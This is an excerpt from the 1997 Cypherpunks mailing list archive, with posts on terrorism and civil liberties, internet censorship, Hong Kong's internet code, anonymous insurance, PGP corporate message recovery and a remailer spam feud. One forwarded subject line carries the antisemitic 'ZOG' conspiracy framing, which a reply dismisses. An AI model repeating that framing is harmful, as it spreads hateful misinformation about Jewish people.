                                            American Academy of Pediatrics
 AT&T
                                            American Association of School
Librarians
 Cartoon Network
                                            American Library Association
 CompuServe
                                            Boy Scouts of America
 Direct Marketing Association
                                            Center for Violence and Injury
Prevention
 Disney Online
                                            Center for Democracy and
Technology
 GamePro Magazine
                                            Center for Media Education
 Highlights for Children
                                            Childnet International
 ISX Corporation
                                            Children's Partnership
 iVillage
                                            Consortium for School Networking
 K-III Communications/Seventeen Magazine
                                            Enough is Enough
 Microsoft Corporation
                                            Girl Scouts of the USA
 Microsystems Software
                                            National Association of
Secondary School
                                            Principals
 Nickelodeon Online
                                            National Center for Missing and
Exploited
                                            Children
 Prodigy
                                            National Committee to Prevent Child
                                            Abuse
 Teknowledge Corporation
                                            National Consumers League
 Thornburg Center for Professional Development
                                            National Network of Violence
Prevention
                                            Practitioners
 Turner/Cartoon Network
                                            National Parent Teacher
Association
 United States Telephone Association
                                            Tech Corps
 Warner Bros. Online










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Griffiths <T.G.Griffiths@exeter.ac.uk>
Date: Thu, 30 Oct 1997 23:24:28 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Terrorism is a NON-THREAT (fwd)
In-Reply-To: <199710301451.JAA23256@users.invweb.net>
Message-ID: <b05139e147%Tim@tim01.ex.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain



Bill wrote:

> The whole point of my orriginal message that you seem unable to grasp ("no
> suprise") is that 50-100 deaths/year does not justify turning this country
> into a police state!!
> 
> - -- 
> - ---------------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii


 Yup, I don't disagree with that. But, I have trouble answering the
 obvious question, 'well, how many lives _does_ it take before something
 is done?'. Is there any way to quantify this kind of thing? 
 
 We hear on TV etc people saying "If this draconian measure saves the
 life of one innocent child its worth the loss of my right to walk in
 the park, or whatever". This is clearly shit, but can people suggest a
 sensible measure of when new legistlation is justified?
 
 
 Tim G
 --
 Tim Griffiths
 'There are no honourable agreements that involve the exchange of a 
 quantifiable object, like a sum of money, for qualitative object such as
 a human soul'. - Bill Burroughs
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 31 Oct 1997 04:39:21 +0800
To: cypherpunks@toad.com
Subject: Re: Internet Censorware Summit, Clinton to speak, Dec 1-3
In-Reply-To: <v03007802b07e7407dce0@[168.161.105.141]>
Message-ID: <v0300780eb07e9a87ea42@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



Sponsors include:

>http://www.netparents.org/summit_part.html
>    Center for Media Education

This is the same group that I wrote about in June; excerpt attached below.

Note that no traditional free speech or journalist groups are represented.
Groups like ACLU, Media Coalition, EPIC, National Coalition Against
Censorship, National Campaign for Freedom of Expression, Freedom Forum,
Reporters Committee for Freedom of the Press, PEN/NWU, Association of
American Publishers, Feminists for Free Expression, American Society of
Newspaper Editors, Media Institute, American Society of Magazine Editors,
Thomas Jefferson Center for the Protection of Free Expression.

None of 'em there. Nada. Hell, even MPAA and the NAB would be better than
Enough is Enough.

-Declan

***********

http://cgi.pathfinder.com/netly/opinion/0,1042,1055,00.html

The Netly News Network
June 13, 1997

The Cartoon Decency Act?
by Declan McCullagh (declan@well.com)

        We all know what threats confront our children today: War.
   Hunger. Poverty. Ignorance. But animated cartoon characters on the
   Net?

        Actually, the Center for Media Education and its allies ignored
   the others and just zeroed in on the looming menace of Net-toons
   yesterday during the Federal Trade Commission's interminable privacy
   hearings. CME's Shelley Pasnik warned, "Animated product
   spokescharacters are coming into our childrens' computers... Parents
   are deeply troubled by the intrusive nature of the online [world]
   coming into our homes." Hadn't she read Kurt Anderson's editorial in
   The New Yorker this week, that the onslaught of 'toons signals a
   cultural renaissance in the U.S.? Doh!

        The Center for Media's alarums sound familiar. Supporters of the
   notorious Communications Decency Act cried that "pornography is coming
   into our home computers" and used the same excuse of "protecting
   children" to justify passing the law.

[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 31 Oct 1997 04:53:08 +0800
To: cypherpunks@toad.com
Subject: Hong Kong's Net-conduct code, from South China Morning Post
Message-ID: <v0300780fb07e9ca96a9a@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain




*************

http://www.scmp.com/news/template/templates.idc?artid=19971028005357046&top=hk&t
emplate=Default.htx&MaxFieldSize=2838

                     [South China Morning Post]


 [Front Page]          Tuesday  October 28  1997
 [Hong Kong]
                Conduct code targets porn on Internet
 [China] [Asia]
 [World]        GREN MANUEL
                A voluntary code to control
 [Business]     publication of obscene and indecent
 [Markets]      material on the Internet was launched
                yesterday, with the threat of a review
 [Features]     after a year if it failed.
 [Sport]
                But the code can only be applied
 [Property]     against material put on to the
 [Technology]   Internet in Hong Kong, with no
                effective sanction against publishers
                in the rest of the world, where the
 [Index]        vast bulk of the material originates.

 [Image]        The code, issued by the Hong Kong
                Internet Service Providers'
                Association, which covers all major
                Internet firms, is supported by the
                Television and Entertainment Licensing
                Authority.

                Both pledged it would not be used for
                political censorship.

                "We do not want to turn into an
                'Internet cop'," said the
                association's chairman, Daniel Ng
                Chi-shing.

                Last year the Government proposed new
                laws to block access to pornographic
                sites worldwide, but the plan was
                scrapped amid criticism it was
                technically unfeasible and could be
                used for political censorship.

                Commissioner for Television and
                Entertainment Licensing Eddy Chan
                Yuk-tak said: "If you strictly control
                the Internet you could stifle the free
                flow of information and inhibit the
                development of this new technology.

                "However, we must protect our young
                persons and children from the effect
                of indecent and obscene materials."

                He said the best strategy was to
                "advise, inform and educate" young
                people but the code was a useful
                supplement, and would be reviewed
                after 12 months.

                In June a senior Correctional Services
                officer was given a suspended sentence
                after posting hard-core child
                pornography on the Internet.

                Ousted Democratic Party legislator and
                Internet pornography campaigner Andrew
                Cheng Kar-foo welcomed the code but
                said it would have little practical
                effect on the material available.

                "The Government should have a clearer
                definition of 'obscenity', otherwise
                it could be abused," he said.

                Despite estimates there were more than
                10,000 Web sites hosted in Hong Kong,
                the Television and Entertainment
                Licensing Authority has received just
                four complaints.

                "There is a problem. But it is
                difficult to tell how serious it is at
                this stage," said Mr Chan.

                THE MAIN POINTS
                * Category III material will not be
                published on the Internet.
                * Category II material must be
                preceded by warning notices similar to
                those on printed material.
                * Users who repeatedly break the above
                rules should be disconnected.
                * Internet firms should promote
                technology that can allow a rating
                classification or the blocking of
                certain sites.
                * The public may make complaints to a
                page's host Internet firm. The firm
                must ''act promptly and
                conscientiously on the complaint''.
                * Unresolved complaints may be
                referred to the TELA.
                * Statistics on complaints will be
                sent to the TELA every month.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rebel Remailer <mix@bear.apana.org.au>
Date: Thu, 30 Oct 1997 13:55:54 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [ZOG] MARXIST COHEN WANTS 'CURTAILED FREEDOM': CALL TO ARMS WANTED
Message-ID: <199710300535.PAA26984@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



* Defense secretary calls for even more preventive measures. 
*                          
* Terrorism is escalating to the point that Americans soon may have to choose
* between civil liberties and more intrusive means of protection. Defense
* Secretary William S. Cohen says. 
*                          
* The nation's defense chief told the Army Times he once considered the
* chilling specter of armored vehicles  surrounding civilian hotels or
* government buildings to block out terrorists as strictly an overseas
* phenomenon. But no longer. 


Heavy shit

...and now it begins





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: graycastle@ppw.net
Date: Thu, 30 Oct 1997 14:39:40 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [cpe:3265] Re: [ZOG] MARXIST COHEN WANTS 'CURTAILED FREEDOM': CALL TO ARMS WANTED
In-Reply-To: <199710300535.PAA26984@bear.apana.org.au>
Message-ID: <34582AB7.4363@ppw.net>
MIME-Version: 1.0
Content-Type: text/plain



Rebel Remailer wrote:
> 
> * Defense secretary calls for even more preventive measures.
> *
> * Terrorism is escalating to the point that Americans soon may have to choose
> * between civil liberties and more intrusive means of protection. Defense
> * Secretary William S. Cohen says.
> *
> * The nation's defense chief told the Army Times he once considered the
> * chilling specter of armored vehicles  surrounding civilian hotels or
> * government buildings to block out terrorists as strictly an overseas
> * phenomenon. But no longer.
> 
> Heavy shit
> 
> ...and now it begins

maybe, but its still a long way from the theory that it is all
orchestrated by israeli bankers in new york (zog) . . .



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Fri, 31 Oct 1997 00:09:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Protocols for Insurance to Maintain Privacy
Message-ID: <7433f6e11aa46cf7b903a8251c3e35b5@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Tim May wrote:
> The FDA has probably killed more people in the last 30 years than
> all the wars the U.S. has been in during the same time. Mostly
> because of the game-theoretic nature of the system: all that matters
> to FDA officials is covering their ass so that promotion is
> ensured. No points for approving a controversial drug, but lots of
> demerits for approving a drug which hurts even one person (if the
> media reports it as "another FDA oversight").  Avoiding flipper
> children is the raison d'etre for these people.

Tim no doubt already knows this, but I'm going to mention it anyway.
The FDA has other reasons for existing such as protecting the major
drug cartels from competition and providing wonderful employment
opportunities for former FDA employees in said drug cartels.

The choice of medical products and services as a choke point to
exploit is a particularly evil one as the link between government
imposed oligopoly profits and people's lives is very clear.

And, of course, this is worst of all for poor people because they are
least able to manage their situation.

I have my doubts as to whether it is possible to set up a really good
anonymous insurance scheme.  At some point the customer must
physically be matched up with the policy.  The damage may be minimized
by putting a hash of the customer's DNA markers in the policy instead
of the markers themselves.  But, when the customer wishes to draw on
the policy, his or her markers will have to be taken.

If there were a way for the representative of the insurance company to
absolutely verify the DNA markers such that the customer could be
absolutely certain the information didn't leave the room, a really
good anonymous policy would be feasible.  But, I can't think of a way
to do this.

The really good way to protect your medical privacy is to self insure.
Most people are happy with policies that tap out at $1 million.  If
you would be happy with such a policy, then all you need is $1 million
to protect your privacy.  It is likely that this $1 million will not
ever be consumed by health care costs.  (Probably much less likely
than that a policy holder will hit that limit.  People tend to spend
their own money more responsibly than somebody else's.)

One of the most important criteria for issuing insurance must be age.
Is there anyway to unambiguously determine somebody's age?  I know how
to do it with trees, but it doesn't work with people.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNFgp6ZaWtjSmRH/5AQES/wf+Ijrvktr6VxOxFRKZsad19G6fLuotWLTx
/kGEncb+3cAHg26Pxn2FRjt8FO4fdqNp/adaEtCmaVDJeJavhhiqW+XyXuLb1Iy4
5YrvG/xIbbPIIYdVeZ5coATNAIaKZvQu0UWrbDQzbmyxi0bIHmaixxx53isc14w1
qn+4PrlV7jVyKCPf/BMw7Mv7L33v8ZR3r3iS15L/OjIxBtvpVDvnBv8BdKwMA7C+
S5HBSYhiYjSGi1CnisnKI0POD9BqXXr5LwNA+407hPWDTkSGZ4iRqY3koiO0e/Je
eEvfbcSBEazaXcqlMtuI5xkFhLOY3L9oF+BtRjAfc9TRocFTTzZwHA==
=VcKo
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 31 Oct 1997 05:47:26 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: [FWD] Re: Burnore preworthily larine circumgyrate (Who Care?)
Message-ID: <571650ea59cbc51a6eafda200ef0e938@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Gary L. Burnore <gburnore@netcom.com> whined:

> Funny. Of course, databasix.com has been DOWN SINCE AUGUST BECAUSE OF A
> MOVE.  The shit you see abouve comes from the anon asshole trying to see
> if Burnore and DataBasix and other keywords are being blocked by anon
> remailers.  I've seen it before.

I'm sure Ron Guilmette (who you've accused elsewhere of doing this) would be smart enough to know that it doesn't take dozens of posts every day containing those keywords to detect blocking, if any.  OTOH, the fact that the "abuse" 
does seem to fit such a nice, tidy pattern does imply that an easy way to 
stop it would be to block any anonymous posts that mention Gary Burnore, 
DataBasix, etc.  Could that be the real purpose of this nonsense?  Do you know 
anyone who'd like to see all anonymous posts that mention Gary Burnore and/or
DataBasix blocked?  Perhaps someone who chronically refers to remailer users
as "anon assholes"?

Of course, the databasix.com domain being down is irrelevant.  You still 
have sufficient Internet access through Netcom to do what's being done, so
your alibi is meaningless.
 
> Such an amazing coincidence that the software given freely by
> mai1to:rfg@monkeys.com (aka mai1to:support@e-scrub.com and
> mai1to:sales@escrub.com) makes the above output possible.

It's even more amazing that you'd just happen to know what sort of software
was being used to generate the messages, isn't it?  And if it's "freely
available", as you say, then even you could have obtained a copy.  You
certainly seem to be familiar with its capabilities.

Why would Ron allegedly have to use this special software just to test a few
keywords (especially if using his own software would implicate himself)?  And 
if he is supposedly using the remailers for "harassment", why would he do 
something designed to get them shut down?  I don't recall him posting 
anti-remailer tirades and harassing remailer operators (such as Jeff 
Burchell) as you've done.

Or could it be that you're trying to flood the search engines with references
to certain keywords so that it's difficult to search for posts related to
you, DataBasix, and your tactics?

And did you insert all of those "mail to:" URLs into your post to get Ron
Guilmette spam-baited, or did you hope I'd quote them verbatim and thus get
my post blocked by some automated filter mechanism?

--
Without censorship, things can get terribly confused in the public mind.

 -- General William Westmoreland   





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 31 Oct 1997 02:18:22 +0800
To: stewarts@ix.netcom.com
Subject: Re: PGP Employee on MKR
In-Reply-To: <3.0.3.32.19971030025716.006cdf80@popd.ix.netcom.com>
Message-ID: <199710301702.RAA03029@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Bill Stewart <stewarts@ix.netcom.com> writes:
> At 02:38 AM 10/27/1997 -0800, mark@unicorn.com wrote:
> >Really? I seem to recall Jon Callas saying my system 'redesigned CMR' 
> >but was simpler than theirs. The mere fact that CMR requires an enforcer 
> >implies that it's a convoluted and hasty design. 
> 
> Not true - you can't implement CMR without a mail enforcer unless
> you can stop your employees from using non-CMR versions of PGP,
> which is nearly impossible.  Even with an enforcer, of course,
> you can't stop the determined employee from double-encrypting and
> steganizing and otherwise getting their outbound bits past your enforcer
> or Pointy-Haired-Boss randomness, 

If the corporate is serious about preventing encrypted messages
leaving their net that they can't read, the simple solution is to
disallow employees from using encryption -- have the enforcer encrypt
it.

Even if you were to use CMR, it is dumb, dumb, dumb, to allow the
snoop key to remain after the message has passed the enforcer -- it
should strip it off on the way out.

> but they could also carry a floppy disk out the door or beam
> infrared out the window from their Newton.

Attempting to compress the plaintext helps -- if it won't compress
(much) you get suspicious.

Pointy-Haired-Boss randomness always works -- compresses well and can
encode anything.

> Similarly, on incoming mail, you can't stop people from sending your
> employees non-CMRed mail without an inbound-mail enforcer and
> can't stop your employees from reading it with their own warez.

Even with enforcer and CMR it's possible to get past it,
super-encryption, garbage in CMRK second recipient field, and
Pointy-Haired-Boss randomness.

Simpler, safer, and more effective to just escrow the employees
company use key -- that ensures there is only one recipient on the
message passing over the internet.

> More importantly, though, PGP isn't a mail program, it's an encryptor,
> and if you're trying to stop people from sending encrypted mail
> back and forth, you've got to control the mail system as well as the
> encryptors, 

So ultimately prevention largely falls back to controlling what
software people are running inside the building -- no laptops in or
out, no floppies in or out, no installing software, metal detector at
door, body scan, the works.


Detection of sending encrypted mails is easier -- just try to decrypt
everything and have all keys necessary escrowed.  Anything which can't
be read doesn't make it in; anything sent which can't be read results
in a sacked employee.


Companies which aren't after this level of paranoia, but just want to
be able to recover company business mails queued when employee is away
-- fine have separate personal use keys attached to the same
signature key.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Fri, 31 Oct 1997 09:26:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Protocols for Insurance to Maintain Privacy
Message-ID: <199710310111.RAA01731@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

I wrote:
>I have my doubts as to whether it is possible to set up a really good
>anonymous insurance scheme.  At some point the customer must
>physically be matched up with the policy.  The damage may be
>minimized by putting a hash of the customer's DNA markers in the
>policy instead of the markers themselves.  But, when the customer
>wishes to draw on the policy, his or her markers will have to be
>taken.
> 
>If there were a way for the representative of the insurance company
>to absolutely verify the DNA markers such that the customer could be
>absolutely certain the information didn't leave the room, a really
>good anonymous policy would be feasible.  But, I can't think of a way
>to do this.

I've thought about this some more and there is a way to do this that
at least works in theory.

Let's say there are 30 DNA markers to be used to uniquely identify a
physical person.  When creating the contract, the customer creates 30
hashes based on each marker.  Prior to the time the customer has a
health problem, privacy is well assured assuming he or she doesn't
have a blood sample taken forcibly.

When the customer goes in for treatment, the insurer selects at random
one of the 30 markers and verifies it.  If it checks out, treatment is
provided.  The way to prevent people from trying to get lucky on the
markers is for the customer and the insurer to make a bet before the
test.  This is a safe bet for the customer - he or she knows the
outcome.  If the odds and payoff are set correctly, it's a good deal
for the insurer, too, because he or she will make money on fraud
attempts.

Let's take the worst case: only one of the 30 marker is different.
Let's say the insurance contract consists of a health bet with a
payoff of $100,000 if the ailment insured for is found.  If the
customer is willing to bet $3 million that any marker selected will be
correct, the insurer breaks even.  However, since the customer knows
with certainty the outcome of the bet, he or she is safe betting
(theoretically) any amount.  This can be set arbitrarily high so that
the insurer actually stands to make a substantial amount of money off
fraud attempts.

In practice some provision will have to be made for people who can't
arrange the $3 million, such as taking fraud artists out to the
parking lot and shooting them.

And there still needs to be a way for one DNA marker to be tested for
in a way which guarantees that none of the others are studied.
Perhaps when the customer goes in, he or she takes samples of DNA with
all thirty markers.  When the insurer selects a particular marker, a
blood sample is drawn, and the customer puts in DNA with the 29 other
markers so that it will not be possible to study any marker other than
the one intended.

If each insurance contract is linked to only one type of illness, then
the only information revealed is that somebody with one particular DNA
marker had such and such an illness.  This seems pretty secure.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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S6hlh9bUc4lp//S/ql5YISypNEKWXE6o7hE3IvdAeUrRlxEyU04fLmwW2UcejeFB
rTdqFQLsTbONf1bvevJ4MplnhG/O7fRUDF3jneRxDZuib60EO8zUvbvpvDhaYM/e
TMeuK5OywHOCX6EQc5eZ7ER1pIWgxR1cXwm428Qvk07z8VoTDJyy6QMLs+EzPcp6
Es94M2JezFmDAfD6nDGdLzrs8h4IJITdjWujLL4VQeJi6LwP7RB5NQ==
=eHkn
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 31 Oct 1997 02:17:02 +0800
To: mark@unicorn.com
Subject: Re: PGP Employee on MKR
In-Reply-To: <878217099.27123.193.133.230.33@unicorn.com>
Message-ID: <199710301714.RAA03038@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Marc Grant <mark@unicorn.com> writes:
> stewarts@ix.netcom.com wrote:
> 
> > Not true - you can't implement CMR without a mail enforcer unless
> > you can stop your employees from using non-CMR versions of PGP,
> > which is nearly impossible.
> 
> No, you can't enforce corporate snooping without a mail enforcer. You can
> meet the corporate demands which PGP claim to be supporting without a
> mail enforcer. There's a difference.
> 
> The only real benefit of CMR over the alternate systems suggested is that
> the corporation can snoop on all email sent to their employees. 

You can build more secure alternatives even for corporate mesage
snooping.  Key escrow is better, or placing proxy keys on the server
to convert a copy of the message to the company snoop key.

> Yet PGP Inc have claimed on several occasions that this is not their
> intention.  Odd, that.

One PGP employee explained the perceived user requirement:

Scenario #1: employee is away from desk (holiday, out of office, off
sick) and mail arrives which is marked URGENT -- what now?

Scenario #2: employee quits jon in a huff, refuses to divulge
passphrase, lots of queued encrypted email -- what now?

Scenario #3: employee dies, lots of email queued, what now?

Well some people have argued that it's not a big deal, just get the
sender to re-send encrypted to a different person.

Whatever.  Anyway the argument against CMR is not that it allows
companies to read employees mail when addressed to a company use email
address encrypted to a company use key -- that seems reasonable
enough for some applications. 

The problem with CMR is that it's a) a security flaw, b) it is open to
abuse by governments.

Scenario #4: user forgets passphrase

which is arguably the most likely and frequently occuring failure is
badly addressed by PGP Inc with pgp5.5 -- the key is lost.  Their
recovery from this failure is to generate a new key, and have the
company decrypt anything which needs to be read.  This is messy
because encrypted materials can be scattered everywhere (they use the
same key for storage as for email)... on the disk, write once CD
archives, tapes, inside ZIP archive files, etc.  And to do the job
properly all of these need to be decrypted by the corporate recovery
czar and re-encrypted to the users new key.

Simplest solution is simply to have a copy of the users key, or store
a copy on the disk in a form the recovery agent can recover ready for
the user to type in a new passphrase.


You can still have separate personal use keys -- the user forgets the
passphrase for these at his own peril and has his own backup mechanism
(copy written down at home hidden somewhere, or whatever, or simply
not recoverable at all).

And signature keys should not be recoverable -- generate a new one and
have it re-certified.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 31 Oct 1997 07:32:20 +0800
To: cypherpunks@toad.com
Subject: Re: Burnore preworthily larine circumgyrate (Who Care?)
Message-ID: <add3f4f22055cb4c4ee36ab78527d242@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



trailblazer@sk.sympatico.ca (Stephen K. Goguen) wrote:

> Does anybody really care who is spamming who?
> I don't think so. I am not a spammer BTW! 
> These messages are a waste of valuable band width!
> If you have a problem with a spammer take it up with them, spare the
> rest of us from this boring carp!
>  
>  
> On Sunday, 26 Oct 97 20:01:02 PST, nobody@neva.org (Neva Remailer)
> wrote:
>  
>
> >An atumble Henrician. Intramastoid the cutted refight. DataBasix
> >androgen. Allochroite syndesmosis.

You might want to direct your comments to the author of this spammage,
Gary L. Burnore <gburnore@databasix.com>, CEO of DataBasix, who still 
appears to be on a vendetta against the anonymous remailers.  This
particular spam campaign appears to be designed to accomplish two things:

1.)  Get people upset at the anonymous remailers by posting this spam
     through them, and;

2.)  Saturate the news search engines with matches on his name and that
     of his company so that any search on these words yields a vast
     majority of false matches.

Just look at some of the Subject: lines he's posted over just the past
few days:

DataBasix cajoler Burnore Elamite the juxtaposit parciloquy
^^^^^^^^^         ^^^^^^^
Autoceptive DataBasix sugary bultow
            ^^^^^^^^^
A Amoyan planula hoboism Burnore guestling
                         ^^^^^^^
Burnore undutiful unavouchably
^^^^^^^
Perocephalus Wotan wine murder Burnore Akiyenik
                               ^^^^^^^
Wotan votive DataBasix manglingly
             ^^^^^^^^^
Burnore dowery crants sla throneless
^^^^^^^
Instillator a dene meethelper orach Burnore acoine
                                    ^^^^^^^
A sith hove DataBasix cradlesong commercialist hebete
            ^^^^^^^^^
Unangelical visual DataBasix nonempirical
                   ^^^^^^^^^
Burnore preworthily larine circumgyrate
^^^^^^^
Interfertile pomade outhue and Burnore cancrophagous
                               ^^^^^^^
DataBasix preapperception
^^^^^^^^^

--
  "I cannot convince myself that there is anyone so wise, so universally
comprehensive in his judgment, that he can be trusted with the power to
tell others:  'You shall not express yourself thus, you shall not
describe your own experiences; or depict the fantasies which your mind
has created; or laugh at what others set up as respectable; or question
old beliefs; or contradict the dogmas of the church, of our society, our
economic systems, and our political orthodoxy.'"
                    - Jake Zeitlin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dirty Dave's ISP" <ddi@dave.nul>
Date: Fri, 31 Oct 1997 08:24:28 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: Remailer Announcement
In-Reply-To: <571650ea59cbc51a6eafda200ef0e938@anon.efga.org>
Message-ID: <345921C9.2FC@dave.nul>
MIME-Version: 1.0
Content-Type: text/plain



Announcement:

         DIRTY DAVE'S ISP ANNOUNCES CHANGE OF REMAILERS!
         -----------------------------------------------

We at Dirty Dave's ISP would like to apologize for the activities of
the 'TruthMailer' operator, who has allowed his system, and ours,
to be abused by religious fanatics and minors seeking information on
mainstream christian cults





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Family Values ISP <fvi@null.dev>
Date: Fri, 31 Oct 1997 08:24:56 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: Remailer Announcements
In-Reply-To: <571650ea59cbc51a6eafda200ef0e938@anon.efga.org>
Message-ID: <3459226B.7D26@null.dev>
MIME-Version: 1.0
Content-Type: text/plain



Announcement:

         FAMILY VALUES ISP ANNOUNCES CHANGE OF REMAILERS!
         ------------------------------------------------

We at Family Values ISP would like to apologize for the activities of
the 'Bad Remailer' operators, who have allowed their system, and ours,
to be abused by foul-mouthed swine and minors seeking information on
venereal diseases.
We initially had our doubts about the operators of the 'Bad Remailer',
based on their name alone, but we gave them the benefit of the doubt,
as good Christians are wont to do. (Have you seen the word 'wont' in
any other posts today?)

Although we are sad that our confidence was betrayed by the operators
of the 'Bad Remailer', we are pleased to announce that we have replaced
their services with those of the 'TruthMailer'.
We are confident that this change will be a positive one which will
result in better service to our customers, with less potential of
abuse by the remailer users.

Famiry Varues ISP
  --
Without censorship, things can get terribly confused in the public mind.
  -- General William Westmoreland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 31 Oct 1997 08:24:52 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Terrorism is a NON-THREAT (fwd)
Message-ID: <199710310012.SAA20624@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "William H. Geiger III" <whgiii@invweb.net>
> Date: Thu, 30 Oct 97 08:27:55 -0600
> Subject: Re: Terrorism is a NON-THREAT (fwd)

> Well THANK YOU Jim for joining forces with the Government NewSpeakers in
> bastardising the language. Military and Police actions by governments is
> NOT Terrorism!!

Yes, Bill it is. *ANY* use of violence for anything other than IMMEDIATE
SELF-DEFENCE is terrorism. Simply being on the *winning* side does not make
your actions any less terrorist. Any use of violence except in immediate
self-defence is in effect saying "do what I say or I kill you". THAT is the
definition of terrorism.

> Everything bad that happens is NOT Terrorism!! Just
> because it is politically expediant to call somthing Terrorism does not
> make it so! If you have a point then do so and let it stand on it's
> merrits rather than trying to win brownie points by stealing emotional
> value from an established lable. This is a shallow debating technique of a
> weak mind.

Bill, I have never done anything but been willing to let my views stand on
their own two feet.

> Exactly how many have died from Terrorist acts?? I contend that it is
> below 10,000 in the past ten years and more than likely closer to 2,000.
> Even at 10,000 we are only looking at most 50-100 Americans a year!!

Well, if we look at Jan. 1, 1900 as the starting date for our accounting I
would estimate that somewhere between 2 to 5 BILLION poeple have died due
to terrorist acts.

It doesn't make it right whether it is the Khmer Rhouge, SOG, Shinning Path,
The SLA, CIA in Laos or Columbia, Ruby Ridge, KAL 007, TWA 800, IRA, SDS,
Black Panthers, or some old lady in Ill. who wants to committ suicide.

When you kill or threaten somebody for what they believe or what they are you
are committing terrorism.

> The whole point of my orriginal message that you seem unable to grasp ("no
> suprise") is that 50-100 deaths/year does not justify turning this country
> into a police state!!

*NOTHING* justifies turning a democracy into a police state, that is the
WHOLE point to democracies in the first place; NOTHING justifies a police
state. Go back and read the Declaration of Independance again, you missed
something in previous readings.

If anything Bill, *you* are the one who has unwittingly (I hope) swallowed
their jism.

If you yank on a dogs chain and it bites you, it isn't the dogs fault.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 31 Oct 1997 08:30:41 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Terrorism is a NON-THREAT (fwd)
Message-ID: <199710310021.SAA20714@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 30 Oct 1997 09:08:06 -0800
> From: Steve Schear <azur@netcom.com>
> Subject: Re: Terrorism is a NON-THREAT (fwd)

> No amount of deaths are adequate cause for suspending the constitutional
> rights of our citizens.  If the Feds can't adequately protect our citizens
> from criminal activities w/o trampling on our rights then its time for us
> to reorganize into different geo-political structures which may.

No, it is time WE take responsibility back for our actions and control our
own lives and quit abrogating it to some asshole who will promise anything
to get us to give them money for nothing (ie taxes).

> Once
> solutions offered from D.C. include suspension of our civil rights its time
